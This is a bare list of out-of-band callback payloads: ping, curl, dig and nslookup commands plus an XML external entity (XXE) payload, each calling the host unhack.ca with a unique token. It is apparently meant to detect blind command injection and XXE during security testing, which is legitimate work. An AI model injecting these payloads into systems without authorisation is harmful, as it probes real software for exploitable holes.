$ ping -c1 -p 003a9d640d215fef09a1ea7831a70000 unhack.ca
 

$ curl http://unhack.ca/p/3a9d640d215fef09a1ea7831a700
 

$ dig 3a9d640d215fef09a1ea7831a700 @unhack.ca
 

$ dig 3a9d640d215fef09a1ea7831a700.ns.unhack.ca
 

C:\> nslookup 3a9d640d215fef09a1ea7831a700 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3a9d640d215fef09a1ea7831a700">]>
    <foo>&xxe;</foo>